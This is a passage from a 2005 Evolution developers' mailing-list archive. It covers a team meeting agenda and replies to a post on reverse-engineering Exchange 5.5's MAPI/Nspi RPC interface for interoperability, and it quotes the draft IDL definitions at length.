EMS_SRowSet_PTR *element_120 ); long NspiResortRestriction( [in] emsabp_hnd_t element_121, [in] long element_122, [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, [in, ref] EMS_SPropTagArray *element_124, [in,out, ref] EMS_LPSPropTagArray *element_125 ); typedef struct { long element_126; [unique, string] char *element_127; } EMS_NAME_STRING; long NspiDNToEph( [in] emsabp_hnd_t element_128, [in] long element_129, [in, ref] EMS_NAME_STRING *element_130, [out, ref] EMS_SPropTagArray *element_131 ); long NspiGetPropList( [in] emsabp_hnd_t element_132, [in] long element_133, [in] long element_134, [in] long element_135, [out, ref] EMS_LPSPropTagArray *element_136 ); long NspiGetProps( [in] emsabp_hnd_t element_137, [in] long element_138, [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, [in, unique] EMS_SPropTagArray *element_140, [out, ref] EMS_SRow_PTR *element_141 ); long NspiCompareDNTs( [in] emsabp_hnd_t element_142, [in] long element_143, [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, [in] long element_145, [in] long element_146, [out, ref] long *element_147 ); long NspiModProps( [in] emsabp_hnd_t element_148, [in] long element_149, [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, [in, unique] EMS_SPropTagArray *element_151, [in, ref] EMS_SRow *element_152 ); long NspiGetHierarchyInfo( [in] emsabp_hnd_t element_153, [in] long element_154, [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, [in,out, ref] long *element_156, [out, ref] EMS_SRowSet_PTR *element_157 ); long NspiGetTemplateInfo( [in] emsabp_hnd_t element_158, [in] long element_159, [in] long element_160, [in, unique, string] char *element_161, [in] long element_162, [in] long element_163, [out, ref] EMS_SRow_PTR *element_164 ); long NspiModLInkAtt( [in] emsabp_hnd_t element_165, [in] long element_166, [in] long element_167, [in] long element_168, [in, ref] EMS_SBinaryArray *element_169 ); long NspiDeleteEntries( [in] emsabp_hnd_t element_170, [in] long element_171, [in] long element_172, [in, ref] EMS_SBinaryArray *element_173 ); long NspiQueryColumns( [in] emsabp_hnd_t element_174, [in] long element_175, [in] long element_176, [out, ref] EMS_LPSPropTagArray *element_177 ); typedef struct { long element_178; [unique] MAPIUID *element_179; } EMS_NAME_CLSID; typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; long NspiGetNamesFromIDs( [in] emsabp_hnd_t element_180, [in] long element_181, [in, unique] MAPIUID *element_182, [in, unique] EMS_SPropTagArray *element_183, [out, ref] EMS_LPSPropTagArray *element_184, [out, ref] EMS_NAME_CLSID_PTR *element_185 ); long NspiGetIDsFromNames( [in] emsabp_hnd_t element_186, [in] long element_187, [in] long element_188, [in] long element_189, [in, size_is(element_189), ref] long *element_190, [out, ref] EMS_LPSPropTagArray *element_191 ); long NspiResolveNames( [in] emsabp_hnd_t element_192, [in] long element_193, [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, [in, unique] EMS_SPropTagArray *element_195, [in, ref] EMS_NAME_STRING *element_196, [out, ref] EMS_LPSPropTagArray *element_197, [out, ref] EMS_SRowSet_PTR *element_198 ); typedef struct { long element_199; [unique, string] WCHAR *element_200; } EMS_NAME_UNICODE; long NspiResolveNamesW( [in] emsabp_hnd_t element_201, [in] long element_202, [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, [in, unique] EMS_SPropTagArray *element_204, [in, ref] EMS_NAME_UNICODE *element_205, [out, ref] EMS_LPSPropTagArray *element_206, [out, ref] EMS_SRowSet_PTR *element_207 ); } From jpr@novell.com Tue Feb 1 11:43:24 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id A4144125457; Tue, 1 Feb 2005 11:43:24 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id DECE8125457 for ; Tue, 1 Feb 2005 11:43:12 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Tue, 01 Feb 2005 09:43:07 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 01 Feb 2005 11:43:03 -0500 Message-Id: <1107276184.29099.11.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=1.2 required=5.0 tests=BAYES_10,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.1 String freeze -2.1 notification reminder -Patch review mode -2.0.4 bugs and timeline 2. Harish on the wiki 3. Team -individual status reports 4. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From pcolijn@gmail.com Tue Feb 1 13:51:33 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id BACB712461E; Tue, 1 Feb 2005 13:51:32 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201]) by lists.ximian.com (Postfix) with ESMTP id 53298124386 for ; Tue, 1 Feb 2005 13:51:20 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 58so414084wri for ; Tue, 01 Feb 2005 10:51:19 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=p8capJdDeUPrnRSrHgF07XKZHxr2BSjLYKrwr4iV9K1osaU9yLAgUNao0a4wtrH8BBCwLs2cKNEfkrNdja52wWvc0hrwKDI3LWL8LmLa4yE9K48iMa95FycTErWSN22JqDRsAEhnbEk4GjT89l8/K1yZXpcBoQbEAz+WGuXMxSU= Received: by 10.54.39.17 with SMTP id m17mr214865wrm; Tue, 01 Feb 2005 10:51:19 -0800 (PST) Received: by 10.54.54.67 with HTTP; Tue, 1 Feb 2005 10:51:18 -0800 (PST) Message-ID: <7c35b00e050201105168b14d75@mail.gmail.com> Date: Tue, 1 Feb 2005 10:51:18 -0800 From: Peter Colijn Reply-To: Peter Colijn To: Luke Kenneth Casson Leighton Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Cc: evolution-hackers@lists.ximian.com In-Reply-To: <20050201150641.GV5707@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050201150641.GV5707@lkcl.net> X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Luke, You might want to check out WvMapi. You can download it at http://open.nit.ca/wiki/?DownloadSnapshots (get the evolution-exchangeit tarball, look for the wvampi subdirectory). WvMapi currently supports decoding/encoding TNEFs containing the attMapiProps attribute, from standard iCalendar and vCard files. It's under LGPL. Have fun, Peter On Tue, 1 Feb 2005 15:06:41 +0000, Luke Kenneth Casson Leighton wrote: > hi, > > i've begun the network-reverse-engineering necessary to interoperating > with Exchange 5.5 and Outlook. > > i have a basic test client and a basic server which is able to return > hard coded data structures. > > the key difference between the present attempt and all previous ones is > that i have started from FreeDCE not from decoding MSRPC on-wire, so i > have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE > turns that into c code, and it's a matter of filling in the blanks. > > unfortunately there are a lot of blanks. _fortunately_, the data > structures of emsabp.idl (the Nspi interface) are IDENTICAL to those > used in mapidefs.h - see Wine's include/windows/mapidefs.h > > anybody interested in helping out please contact me. > > in particular, help with tying in MAPI which is actually MS-TNEF which > is winmail.dat which is therefore directly relevant to evolution, > much appreciated. > > l. > > -- > -- > http://lkcl.net > -- > > [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), > version(56.0), > implicit_handle(handle_t rpc_binding) > ] interface emsabp > { > > /* this is mostly identical to wine/include/mapidefs.h, > * up until MAPIERROR, at which point it looks completely > * unfamiliar and alien. > * > * the functions in the IMAPITable only look _vaguely_ > * familiar but are like, utterly different. > * really odd. same data structures. different functions. > * oh well. > */ > > #define PR_ENTRYID 0x0fff0102 > #define PR_OBJECTID 0xfffd0003 > #define PR_DISPLAY_NAME 0x3001001e > #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ > #define PR_DEPTH 0x30050003 > #define PR_PARENTENTRYID 0xfffc0102 > > typedef unsigned short WCHAR; > > typedef struct { > long element_1; > long element_2; > long element_3; > long element_4; > long element_5; > long element_6; > long element_7; > long element_8; > long element_9; > } EMS_MAPI_UNIDENTIFIED; > > typedef struct { > char ab[16]; > } MAPIUID; > > typedef [context_handle] void *emsabp_hnd_t; > > long NspiBind( > [in] handle_t element_11, > [in] long element_12, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, > [in,out, unique] MAPIUID *element_14, > [out] emsabp_hnd_t *element_15 > ); > > long NspiUnbind( > [in,out] emsabp_hnd_t *element_16, > [in] long element_17 > ); > > long NspiUpdateStat( > [in] emsabp_hnd_t element_18, > [in] long element_19, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, > [in,out, unique] long *element_21 > ); > > /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ > > /* this is probably an SPropTagArray. although it doesn't match > * up with the definition in wine/includes/mapidefs.h, it also > * is the data structure i've had the most difficulty with, matching > * it to on-wire format. > */ > typedef struct { > [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; > long cValues; > /*long element_24;*/ > } EMS_SPropTagArray; > > typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; > > typedef struct { > long cb; > [size_is(cb), ptr] char *lpb; > } EMS_SBinary; > > typedef struct { > long dwLowDateTime; > long dwHighDateTime; > } EMS_FILETIME; > > typedef struct { > long cValues; > [size_is(cValues), ptr] short *lpi; > } EMS_SShortArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpl; > } EMS_MULTIVALUE_LONG_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ > } EMS_SLPSTRArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_SBinary *lpbin; > } EMS_SBinaryArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ > } EMS_SGuidArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ > } EMS_MULTIVALUE_UNICODE_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_FILETIME *lpft; > } EMS_SDateTimeArray; > > typedef [ptr, string] unsigned short *WSTRING; > typedef [ptr, string] char *STRING; > > #define PT_UNSPECIFIED 0x0000 > #define PT_NULL 0x0001 > #define PT_I2 0002 > #define PT_LONG 0003 > #define PT_R4 0004 > #define PT_DOUBLE 0x0005 > #define PT_CURRENCY 0x0006 > #define PT_APPTIME 0x0007 > /*#define PT_CLSID 0x0008 */ > #define PT_ERROR 0x000a > /* > means in a response package, that the given attribute contains no value, > or not exists. > -> So it won't be contained in the enumeration of the attrib. values array. > */ > #define PT_BOOLEAN 0x000b > #define PT_OBJECT 0x000d > #define PT_I8 0x0014 > #define PT_STRING8 0x001e > #define PT_UNICODE 0x001f > #define PT_SYSTIME 0x0040 > #define PT_CLSID 0x0048 > #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ > > /* MV means MultiValued*/ > #define PT_MV_I2 0x1002 > #define PT_MV_LONG 0x1003 > #define PT_MV_R4 0x1004 > #define PT_MV_DOUBLE 0x1005 > #define PT_MV_CURRENCY 0x1006 > #define PT_MV_APPTIME 0x1007 > #define PT_MV_I8 0x1014 > #define PT_MV_STRING8 0x101e > #define PT_MV_TSTRING 0x101e > #define PT_MV_UNICODE 0x101f > #define PT_MV_SYSTIME 0x1040 > #define PT_MV_CLSID 0x1048 > #define PT_MV_BINARY 0x1102 > > typedef [switch_type(long)] union { > [case(PT_I2)] short i; > [case(PT_LONG)] long l; > [case(PT_BOOLEAN)] short b; > [case(PT_STRING8)] STRING lpszA; > [case(PT_BINARY)] EMS_SBinary bin; > [case(PT_UNICODE)] WSTRING lpszW; > [case(PT_CLSID), ptr] MAPIUID *lpguid; > [case(PT_SYSTIME)] EMS_FILETIME ft; > [case(PT_ERROR)] long err; > [case(PT_MV_I2)] EMS_SShortArray MVi; > [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; > [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; > [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; > [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; > [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; > [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; > [case(PT_NULL)] long null; > [case(PT_OBJECT)] long object; > } EMS_SPropValue_CTR; > > typedef struct { > long ulPropTag; > long dwAlignPad; > [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; > } EMS_SPropValue; > > typedef struct { > long ulAdrEntryPad; > long cValues; > [size_is(cValues), unique] EMS_SPropValue *lpProps; > } EMS_SRow; > > typedef [unique] EMS_SRow *EMS_SRow_PTR ; > > typedef struct { > long cRows; > [size_is(cRows)] EMS_SRow aRow[*]; > } EMS_SRowSet; > > typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; > > long NspiQueryRows( > [in] emsabp_hnd_t element_69, > [in] long element_70, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, > [in] long lRows, > [in, size_is(lRows), unique] long *element_73, > [in] long element_74, > [in, ref] EMS_SPropTagArray *element_75, > [out, ref] EMS_SRowSet_PTR *element_76 > ); > > long NspiSeekEntries( > [in] emsabp_hnd_t element_77, > [in] long element_78, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, > [in, ref] EMS_SPropValue *element_80, > [in, unique] EMS_SPropTagArray *element_81, > [in, unique] EMS_SPropTagArray *element_82, > [out, ref] EMS_SRowSet_PTR *element_83 > ); > > typedef [ptr] struct _SRestriction *LPSRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SAndRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SOrRestriction; > > typedef struct { > /* ULONG ulReserved - perhaps an [ignore] property on this one? */ > LPSRestriction lpRes; > } EMS_SNotRestriction; > > typedef struct { > long ulFuzzyLevel; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SContentRestriction; > > typedef struct { > long relop; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SPropertyRestriction; > > typedef struct { > long ulReserved1; > long ulPropTag; > long ulReserved2; > } EMS_SExistRestriction; > > typedef struct { > long relop; > long ulPropTag; > long cb; > } EMS_SSizeRestriction; > > typedef struct { > long relBMR; > long ulPropTag; > long ulMask; > } EMS_SBitMaskRestriction; > > typedef struct { > long relop; > long ulPropTag1; > long ulPropTag2; > } EMS_SComparePropsRestriction; > > typedef struct { > long ulSubObject; > LPSRestriction lpRes; > } EMS_SSubRestriction; > > typedef struct { > [unique] MAPIUID *lpguid; > long ulKind; > long lID; /* this is actually a union in mapidefs.h */ > } EMS_MAPINAMEID; > > /* Restriction types */ > #define RES_AND 0U > #define RES_OR 1U > #define RES_NOT 2U > #define RES_CONTENT 3U > #define RES_PROPERTY 4U > #define RES_COMPAREPROPS 5U > #define RES_BITMASK 6U > #define RES_SIZE 7U > #define RES_EXIST 8U > #define RES_SUBRESTRICTION 9U > #define RES_COMMENT 10U > > typedef [switch_type(long)] union { > [case(RES_AND) ] EMS_SAndRestriction resAnd; > [case(RES_OR) ] EMS_SOrRestriction resOr; > [case(RES_NOT) ] EMS_SNotRestriction resNot; > [case(RES_CONTENT) ] EMS_SContentRestriction resContent; > [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; > [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; > [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; > [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; > [case(RES_SIZE) ] EMS_SSizeRestriction resSize; > [case(RES_EXIST) ] EMS_SExistRestriction resExist; > /* case SCommentRestriction is missing! */ > } EMS_SRestriction_CTR; > > typedef struct _SRestriction { > long rt; > [switch_is(rt)] EMS_SRestriction_CTR res; > } EMS_SRestriction; > > long NspiGetMatches( > [in] emsabp_hnd_t element_110, > [in] long element_111, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, > [in, unique] EMS_SPropTagArray *element_113, > [in] long element_114, > [in, unique] EMS_SRestriction *element_115, > [in, unique] EMS_MAPINAMEID *element_116, > [in] long element_117, > [out, ref] EMS_SPropTagArray *element_118, > [in, ref] EMS_SPropTagArray *element_119, > [out, ref] EMS_SRowSet_PTR *element_120 > ); > > long NspiResortRestriction( > [in] emsabp_hnd_t element_121, > [in] long element_122, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, > [in, ref] EMS_SPropTagArray *element_124, > [in,out, ref] EMS_LPSPropTagArray *element_125 > ); > > typedef struct { > long element_126; > [unique, string] char *element_127; > } EMS_NAME_STRING; > > long NspiDNToEph( > [in] emsabp_hnd_t element_128, > [in] long element_129, > [in, ref] EMS_NAME_STRING *element_130, > [out, ref] EMS_SPropTagArray *element_131 > ); > > long NspiGetPropList( > [in] emsabp_hnd_t element_132, > [in] long element_133, > [in] long element_134, > [in] long element_135, > [out, ref] EMS_LPSPropTagArray *element_136 > ); > > long NspiGetProps( > [in] emsabp_hnd_t element_137, > [in] long element_138, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, > [in, unique] EMS_SPropTagArray *element_140, > [out, ref] EMS_SRow_PTR *element_141 > ); > > long NspiCompareDNTs( > [in] emsabp_hnd_t element_142, > [in] long element_143, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, > [in] long element_145, > [in] long element_146, > [out, ref] long *element_147 > ); > > long NspiModProps( > [in] emsabp_hnd_t element_148, > [in] long element_149, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, > [in, unique] EMS_SPropTagArray *element_151, > [in, ref] EMS_SRow *element_152 > ); > > long NspiGetHierarchyInfo( > [in] emsabp_hnd_t element_153, > [in] long element_154, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, > [in,out, ref] long *element_156, > [out, ref] EMS_SRowSet_PTR *element_157 > ); > > long NspiGetTemplateInfo( > [in] emsabp_hnd_t element_158, > [in] long element_159, > [in] long element_160, > [in, unique, string] char *element_161, > [in] long element_162, > [in] long element_163, > [out, ref] EMS_SRow_PTR *element_164 > ); > > long NspiModLInkAtt( > [in] emsabp_hnd_t element_165, > [in] long element_166, > [in] long element_167, > [in] long element_168, > [in, ref] EMS_SBinaryArray *element_169 > ); > > long NspiDeleteEntries( > [in] emsabp_hnd_t element_170, > [in] long element_171, > [in] long element_172, > [in, ref] EMS_SBinaryArray *element_173 > ); > > long NspiQueryColumns( > [in] emsabp_hnd_t element_174, > [in] long element_175, > [in] long element_176, > [out, ref] EMS_LPSPropTagArray *element_177 > ); > > typedef struct { > long element_178; > [unique] MAPIUID *element_179; > } EMS_NAME_CLSID; > > typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; > > long NspiGetNamesFromIDs( > [in] emsabp_hnd_t element_180, > [in] long element_181, > [in, unique] MAPIUID *element_182, > [in, unique] EMS_SPropTagArray *element_183, > [out, ref] EMS_LPSPropTagArray *element_184, > [out, ref] EMS_NAME_CLSID_PTR *element_185 > ); > > long NspiGetIDsFromNames( > [in] emsabp_hnd_t element_186, > [in] long element_187, > [in] long element_188, > [in] long element_189, > [in, size_is(element_189), ref] long *element_190, > [out, ref] EMS_LPSPropTagArray *element_191 > ); > > long NspiResolveNames( > [in] emsabp_hnd_t element_192, > [in] long element_193, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, > [in, unique] EMS_SPropTagArray *element_195, > [in, ref] EMS_NAME_STRING *element_196, > [out, ref] EMS_LPSPropTagArray *element_197, > [out, ref] EMS_SRowSet_PTR *element_198 > ); > > typedef struct { > long element_199; > [unique, string] WCHAR *element_200; > } EMS_NAME_UNICODE; > > long NspiResolveNamesW( > [in] emsabp_hnd_t element_201, > [in] long element_202, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, > [in, unique] EMS_SPropTagArray *element_204, > [in, ref] EMS_NAME_UNICODE *element_205, > [out, ref] EMS_LPSPropTagArray *element_206, > [out, ref] EMS_SRowSet_PTR *element_207 > ); > > } > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers > From colding@omesc.com Tue Feb 1 13:59:02 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B4518124A2E; Tue, 1 Feb 2005 13:59:00 -0500 (EST) Received: from pfepb.post.tele.dk (pfepb.post.tele.dk [195.41.46.236]) by lists.ximian.com (Postfix) with ESMTP id 7D58A124A96 for ; Tue, 1 Feb 2005 13:58:47 -0500 (EST) Received: from thor (0x503e4cbe.odnxx2.adsl-dhcp.tele.dk [80.62.76.190]) by pfepb.post.tele.dk (Postfix) with ESMTP id 593DD5EE02B; Tue, 1 Feb 2005 19:58:18 +0100 (CET) Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: Jules Colding To: Luke Kenneth Casson Leighton Cc: Evolution Hackers In-Reply-To: <20050201150641.GV5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> Content-Type: text/plain Organization: OMC Denmark ApS Date: Tue, 01 Feb 2005 19:58:18 +0100 Message-Id: <1107284298.6737.6.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Why dont you use MAPI directly in Evolution? Well not MAPI itself, but the CORBA wrapper for MAPI (www.omesc.com). -- jules On Tue, 2005-02-01 at 15:06 +0000, Luke Kenneth Casson Leighton wrote: > hi, > > i've begun the network-reverse-engineering necessary to interoperating > with Exchange 5.5 and Outlook. > > i have a basic test client and a basic server which is able to return > hard coded data structures. > > the key difference between the present attempt and all previous ones is > that i have started from FreeDCE not from decoding MSRPC on-wire, so i > have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE > turns that into c code, and it's a matter of filling in the blanks. > > unfortunately there are a lot of blanks. _fortunately_, the data > structures of emsabp.idl (the Nspi interface) are IDENTICAL to those > used in mapidefs.h - see Wine's include/windows/mapidefs.h > > anybody interested in helping out please contact me. > > in particular, help with tying in MAPI which is actually MS-TNEF which > is winmail.dat which is therefore directly relevant to evolution, > much appreciated. > > l. > > -- > -- > http://lkcl.net > -- > > [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), > version(56.0), > implicit_handle(handle_t rpc_binding) > ] interface emsabp > { > > /* this is mostly identical to wine/include/mapidefs.h, > * up until MAPIERROR, at which point it looks completely > * unfamiliar and alien. > * > * the functions in the IMAPITable only look _vaguely_ > * familiar but are like, utterly different. > * really odd. same data structures. different functions. > * oh well. > */ > > #define PR_ENTRYID 0x0fff0102 > #define PR_OBJECTID 0xfffd0003 > #define PR_DISPLAY_NAME 0x3001001e > #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ > #define PR_DEPTH 0x30050003 > #define PR_PARENTENTRYID 0xfffc0102 > > typedef unsigned short WCHAR; > > typedef struct { > long element_1; > long element_2; > long element_3; > long element_4; > long element_5; > long element_6; > long element_7; > long element_8; > long element_9; > } EMS_MAPI_UNIDENTIFIED; > > typedef struct { > char ab[16]; > } MAPIUID; > > typedef [context_handle] void *emsabp_hnd_t; > > long NspiBind( > [in] handle_t element_11, > [in] long element_12, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, > [in,out, unique] MAPIUID *element_14, > [out] emsabp_hnd_t *element_15 > ); > > long NspiUnbind( > [in,out] emsabp_hnd_t *element_16, > [in] long element_17 > ); > > long NspiUpdateStat( > [in] emsabp_hnd_t element_18, > [in] long element_19, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, > [in,out, unique] long *element_21 > ); > > /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ > > /* this is probably an SPropTagArray. although it doesn't match > * up with the definition in wine/includes/mapidefs.h, it also > * is the data structure i've had the most difficulty with, matching > * it to on-wire format. > */ > typedef struct { > [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; > long cValues; > /*long element_24;*/ > } EMS_SPropTagArray; > > typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; > > typedef struct { > long cb; > [size_is(cb), ptr] char *lpb; > } EMS_SBinary; > > typedef struct { > long dwLowDateTime; > long dwHighDateTime; > } EMS_FILETIME; > > typedef struct { > long cValues; > [size_is(cValues), ptr] short *lpi; > } EMS_SShortArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpl; > } EMS_MULTIVALUE_LONG_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ > } EMS_SLPSTRArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_SBinary *lpbin; > } EMS_SBinaryArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ > } EMS_SGuidArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ > } EMS_MULTIVALUE_UNICODE_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_FILETIME *lpft; > } EMS_SDateTimeArray; > > typedef [ptr, string] unsigned short *WSTRING; > typedef [ptr, string] char *STRING; > > #define PT_UNSPECIFIED 0x0000 > #define PT_NULL 0x0001 > #define PT_I2 0002 > #define PT_LONG 0003 > #define PT_R4 0004 > #define PT_DOUBLE 0x0005 > #define PT_CURRENCY 0x0006 > #define PT_APPTIME 0x0007 > /*#define PT_CLSID 0x0008 */ > #define PT_ERROR 0x000a > /* > means in a response package, that the given attribute contains no value, > or not exists. > -> So it won't be contained in the enumeration of the attrib. values array. > */ > #define PT_BOOLEAN 0x000b > #define PT_OBJECT 0x000d > #define PT_I8 0x0014 > #define PT_STRING8 0x001e > #define PT_UNICODE 0x001f > #define PT_SYSTIME 0x0040 > #define PT_CLSID 0x0048 > #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ > > /* MV means MultiValued*/ > #define PT_MV_I2 0x1002 > #define PT_MV_LONG 0x1003 > #define PT_MV_R4 0x1004 > #define PT_MV_DOUBLE 0x1005 > #define PT_MV_CURRENCY 0x1006 > #define PT_MV_APPTIME 0x1007 > #define PT_MV_I8 0x1014 > #define PT_MV_STRING8 0x101e > #define PT_MV_TSTRING 0x101e > #define PT_MV_UNICODE 0x101f > #define PT_MV_SYSTIME 0x1040 > #define PT_MV_CLSID 0x1048 > #define PT_MV_BINARY 0x1102 > > typedef [switch_type(long)] union { > [case(PT_I2)] short i; > [case(PT_LONG)] long l; > [case(PT_BOOLEAN)] short b; > [case(PT_STRING8)] STRING lpszA; > [case(PT_BINARY)] EMS_SBinary bin; > [case(PT_UNICODE)] WSTRING lpszW; > [case(PT_CLSID), ptr] MAPIUID *lpguid; > [case(PT_SYSTIME)] EMS_FILETIME ft; > [case(PT_ERROR)] long err; > [case(PT_MV_I2)] EMS_SShortArray MVi; > [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; > [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; > [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; > 